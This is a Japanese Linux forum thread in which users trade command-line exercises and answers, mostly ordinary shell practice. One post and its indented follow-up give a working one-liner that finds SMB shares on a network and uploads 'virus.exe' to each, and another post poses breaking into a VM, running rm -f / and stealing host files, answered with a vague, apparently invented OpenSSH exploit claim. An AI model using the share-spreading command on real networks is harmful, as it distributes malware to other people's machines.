【上達】私に課題を与えてください 問題集1巻目

このエントリーをはてなブックマークに追加
49login:Penguin:2009/08/26(水) 08:24:21 ID:5VQDQhqX
【夏休みが】Linuxコマンドの課題をボスケテ【終わる】

Linuxコマンドは意外にむつかしい
50login:Penguin:2009/08/26(水) 10:34:19 ID:tozyo/AI
これは巧妙に仕組まれた単発質問スレだ。
51login:Penguin:2009/08/26(水) 17:43:31 ID:p7NCW5nO
>>46
-bがないと同じワークグループ内しか探してくれなかった。

$ smbtree -b -Uguest%|perl -nle 'if(/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/){$h=$1;$h=~tr{\\}{/};system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"")}'
52login:Penguin:2009/08/26(水) 21:30:18 ID:mferTyOH
次スレ
【緊縛】私に罰を与えてください 問題集2縄目
53login:Penguin:2009/08/26(水) 22:25:40 ID:qwJ2/jyu
>>51

小さくまとまっていて、ほどく(=理解)のがたいへん。
54login:Penguin:2009/08/26(水) 23:03:13 ID:p7NCW5nO
>>53
じゃあ Perl の部分だけインデントします。

while (<>) {
  # "\\マシン名\\フォルダ名"を抜き出す
  if (/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/) {
    $h = $1;
    $h =~ tr{\\}{/};
    system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"");
  }
}
55login:Penguin:2009/08/27(木) 00:39:42 ID:S1h8kGra
<問8>
/home/files/domain/files/には、01から09までのディレクトリがある。
これらに、/home/files/link.lnkファイルをコピーし、
さらにこのファイルの所有者をabc、グループをdefとし、
それぞれ読み取り属性のみを設定しなさい。

<問9>
また、ディレクトリと、フォルダの違いを簡単に述べよ。
56login:Penguin:2009/08/27(木) 02:59:14 ID:NC6ozCQr
>>55
A8:
for i in /tmp/files/domain/files/0{0..9};do
cp /tmp/files/link.lnk $i;
chown abc:def $i/link.lnk;
chmod 400 $i/link.lnk;
done

A9:
同じ
57login:Penguin:2009/08/28(金) 02:27:17 ID:bBjSWu/K
<課題 10>
X=foo-0.0.1-rc1.tar.gz
この変数Xからbashのパターンマッチを用いて下記に示すように抜き出せ。

NAME, foo
VERSION, 0.0.1
REVISION, 1
SUFFIX, .tar.gz

例)
$ NAME=${X%%-*}
$ echo ${NAME}
$ foo
58login:Penguin:2009/08/28(金) 05:29:12 ID:OKsrZM1I
>>57
X=foo-0.0.1-rc1.tar.gz

NAME=${X%%-*}
VERSION=${X#$NAME-}
VERSION=${VERSION%%-*}
REVISION=${X#$NAME-$VERSION-}
REVISION=${REVISION%%.*}
SUFFIX=${X#$NAME-$VERSION-$REVISION}
59login:Penguin:2009/08/29(土) 23:43:55 ID:fGZOrtWl
<問 11>
CPUの温度を表示する方法を挙げよ。

(例)
#yum install xxxx
#command_name
60login:Penguin:2009/08/30(日) 03:06:38 ID:y5/QoVdf
gkrellm
61login:Penguin:2009/08/30(日) 21:59:38 ID:dbbtl/7B
課題くれよ
62login:Penguin:2009/08/30(日) 22:43:50 ID:+l9wyk6P
<課題 12>
自民党はどうなる?
63login:Penguin:2009/08/30(日) 22:51:56 ID:WwhqnWgC
>>62
jimintoh > /dev/null
64login:Penguin:2009/08/30(日) 23:01:48 ID:qdiQuvup
pivot_root /mnt/minsyu/
65login:Penguin:2009/08/31(月) 13:24:18 ID:bAPWr+kh
>>59

# yum install lm_sensors
バージョンは3.0.2
# sensors-detect
メッセージのとおり、エンターを押していく。
最後にここで認識されたデバイスのドライバ情報が/etc/sysconfig/lm_sensorsに自動登録される。
# sensors
温度情報、ファン情報が表示される。

66login:Penguin:2009/08/31(月) 19:24:51 ID:0JgAt4l5
>>1
スレ乱立による鯖負荷軽減工作ご苦労様です。
ニヤリとしてしまう程、意図みえみえですね。
それにしてもDTM板にまでこんな糞スレ立てなければならないなんて
よほど前回の陥落のダメージは大きかったのですかね?
67login:Penguin:2009/09/01(火) 00:24:45 ID:mFt0hhy2
なぜ、2chでは新規登場スレを消そうとする強い傾向があるんですか?
そういう”係り”のようなものがあるのですか?
68login:Penguin:2009/09/01(火) 16:13:55 ID:lGMGvNYx
>>67
強い傾向を示すデータを提示してくれないと話にならない
69login:Penguin:2009/09/03(木) 16:48:05 ID:XXlPF8Wu
<問い13>
ν即でスレタイに「実父」を含むスレを定期的に監視し、
そのスレに含まれるすべてのZIPファイルを
重複せずにローカルに保存するスクリプトを作れ。
70login:Penguin:2009/09/03(木) 16:56:49 ID:XXlPF8Wu
<問い13>
ν即でスレタイに「パン」「やなせ」を含むスレを定期的に監視し、
そのスレにバランスよく特定のAAを書き込むスクリプトを作れ。
71Σ凸(・д・)てふてふ ◆1xsES22i66 :2009/09/03(木) 22:06:46 ID:FjThMhB1
俺が作った=2chを改造してもいいぜ。
72login:Penguin:2009/09/04(金) 14:26:30 ID:Cj+7l1D9
バランス厨は死ね
73login:Penguin:2009/09/04(金) 20:51:04 ID:7VmZ9Ui1
ここまでテンプレ
74login:Penguin:2009/09/05(土) 01:05:32 ID:0TookqAP
こたえまだー?
75login:Penguin:2009/09/06(日) 18:30:42 ID:5f420rVM
ちんシュに答えなど無い
76login:Penguin:2009/09/13(日) 01:27:52 ID:hmW7Rig0
>>69
#!/bin/sh
BASEURL="http://yutori7.2ch.net/test/read.cgi/news4vip"
KEYWORD1='実父'
cat /dev/null > ./urllist.txt
wget -q -O ./subject.txt "http://yutori7.2ch.net/news4vip/subject.txt"

nkf -w -Lu ./subject.txt | grep ${KEYWORD1} | while read line
do
DATFILE=$(echo ${line} | grep -E -o "[0-9]{10}")
TARGETURL=$(echo "${BASEURL}/${DATFILE}/")
wget -q -O ${DATFILE} "${TARGETURL}" && nkf -w -Lu ${DATFILE} | sed -e "s#<br>#\n#g" |grep -o "ttp://*.*\.zip" | sed -e "s#.zip.*#.zip#g" -e "s#^ttp#http#g" -e "s#ime.nu/##g" >> ./urllist.txt
rm -f ${DATFILE}
done

wget -P ./download_file/ -nd -nc -i ./urllist.txt

直DLのみ
DL間隔とか考えてない
77login:Penguin:2009/09/18(金) 20:52:45 ID:R/4Lru76
>>76
すばらしい
78login:Penguin:2009/09/25(金) 14:58:46 ID:vDQC2aie
>>76
touchではなくcatを使う理由は?趣味?
79login:Penguin:2009/09/26(土) 00:33:13 ID:iY9l2Ri7
>>78
touchはファイルが存在しない場合だけ空のファイルを作るから
今思うと echo -n > file の方が良かった気がする
あとはgrep ${KEYWORD1}に -e 付け忘れたりとか変数に””が付いてたり付いてなかったりと作った後にいろいろダメ出ししたくなるわね
80login:Penguin:2009/09/26(土) 01:43:08 ID:VptfbrDi
簡単な問題も書いておくれよ〜
81login:Penguin:2010/01/16(土) 12:17:20 ID:zceWzKa9
問題マーダー!?
82アジェグ4倍 ◆4xAJeG.COM :2010/01/16(土) 14:37:06 ID:l8bsifP0
現在、VirtualBoxを使用し、仮想環境のウブンツーでネットに接続しています。
その仮想マシンに侵入し、root権限を奪い取って rm -f / を実行し、
ホストOSのWindows7の、マイドキュメント内のファイルを入手せよ。

マイドキュメントのファイル入手と、rm -f / の順序は
どちらでもよいものとする。

なお、IPアドレスは、192.168.11.2である。
83login:Penguin:2010/01/17(日) 10:11:37 ID:YM7FudPr
>>82
opensshのv3.1pのbssの0x2344番地を0xe4に書き換え。
接続するとバッファオーバーフローが起きてroot権限が取得出来る。

後は好きにしろ。
84login:Penguin:2010/04/04(日) 02:28:44 ID:ADs01CGr
>>82
そんなんムリ
だいたい、ホストOSへのアクセスはできんよな。
85login:Penguin:2010/04/14(水) 02:49:49 ID:wbEfabf1
せいぜい仮想マシンに共有許可出してるディレクトリをいじれるだけだな…
86【課題】SAMBAについて:2010/05/04(火) 03:26:01 ID:Roiw/4YY
1、起動時に、自動的にwindows共有(\\DISK\ABC\)を読み書き可能にして次の位置にマウントできる設定を示せ。
2、また、必要なパッケージも示すこと。

/mnt/windows_share/ABC

ただし、windows共有のユーザー名は user_K、パスワードはpasswordとする。
/mnt/windows_share/ABCはすでに生成されている。
87login:Penguin:2010/05/04(火) 09:22:58 ID:mrMI037H
>>86
偉そうに。
88login:Penguin:2010/05/04(火) 09:39:02 ID:dVx748ni
apt-get install windows7
89login:Penguin:2010/09/28(火) 18:15:35 ID:QpVHcL0z
>>54が面白いからあげ
90login:Penguin:2011/01/24(月) 09:36:49 ID:apCm200n
問題(初級問題)

・find コマンドを使い $HOME にある最古のファイルを探しだせ。

条件はワンライナーであること。
findのみを使用すること。
91login:Penguin:2011/05/13(金) 16:41:36.05 ID:3lN08hUO
みんな、頭を使うのは好きじゃないみたいだね。
やらなくてもいい宿題なんてやらない、考えたくないという人が多いんだろうな。

初心者はここを参考にして勉強にできるから、盛り上がってほしいけどね。
92login:Penguin:2011/11/28(月) 07:37:46.66 ID:k6xaMFqY
初めのほうは盛り上がっていて、ためになったし、面白かったのに。
93login:Penguin:2011/11/28(月) 18:45:22.12 ID:GpepBfXK
お題を用意するのも難しいし
改題を同行する前にたいてい課題が転がってくるからなかなか
なんか一つの本とかを皆でこういう方法もあるねみたいな感じでやったほうが盛り上がりやすいかもね
94login:Penguin:2011/11/29(火) 09:43:27.51 ID:GNxn2xxL
課題待っています。LINUX歴数年。
95login:Penguin:2012/06/05(火) 18:30:34.79 ID:+90H8l5o
★「皆で、切磋琢磨して解を導くためのスレ」になりました。

よろしく。
96login:Penguin:2012/06/05(火) 18:44:44.02 ID:+90H8l5o
910 :login:Penguin:2012/06/05(火) 10:34:26.14 ID:3WRw8J5h
>>909
for i in *; do zip -r "$i".zip "$i"; done
とか。

……と思ったけどディレクトリとファイルが混在してると
そこ判別しなきゃいかんな。

911 :login:Penguin:2012/06/05(火) 11:19:19.54 ID:74+BfNXd
1.ls -d でフォルダのリスト作って、
2.リストを1行ずつ読み込んで、繰り返して、zip作ればいいと思うけど

912 :login:Penguin:2012/06/05(火) 11:27:52.43 ID:3WRw8J5h
まぁ
for i in *; do [ -d "$i" ] && zip -r "$i".zip "$i"; done
でいいんだけどね。
ちょっと長くなっちゃうな、と。

913 :login:Penguin:2012/06/05(火) 12:05:05.36 ID:3WRw8J5h
>>911
ん?
ls -d でどうやるの?

914 :login:Penguin:2012/06/05(火) 18:27:49.33 ID:74+BfNXd
ls -d > list.txtじゃ駄目ですか?

915 :login:Penguin:2012/06/05(火) 18:28:34.51 ID:74+BfNXd
長くなったら駄目なんですね、ごめん
97login:Penguin:2013/07/15(月) NY:AN:NY.AN ID:wXXrGmKw
>>http://engawa.2ch.net/test/read.cgi/linux/1370948130/213
>213 :login:Penguin:2013/07/14(日) NY:AN:NY.AN ID:GSFJ9Frn
> ログから書き出したメールアドレスが数百行書かれたファイルが2つあります。
> どちらにも存在するアドレスだけを抜き出すことはできますか?
>
> ドメインは同じですので、@より後ろは同じです。


1列のみのcsvファイルとして、MS ACCESSなどに読み込ませて、emalistテーブル(列名 email)を作成する。

そして、次のSQL文を実行すると良いのではないか?

select T1.email
from emalist T1, emalist T2
where T1.email = T2.email

やっていること
emalistの各行(メールアドレスを持つ)を、さらに同じemalistの全行と結合させる。
そうしてこの結合について、同じメールアドレスが結合しているものを、where条件で抽出する。
それを結果として表示させる。
98login:Penguin
>>97
重複排除が必要なら、
select distinct T1.email とすればいいし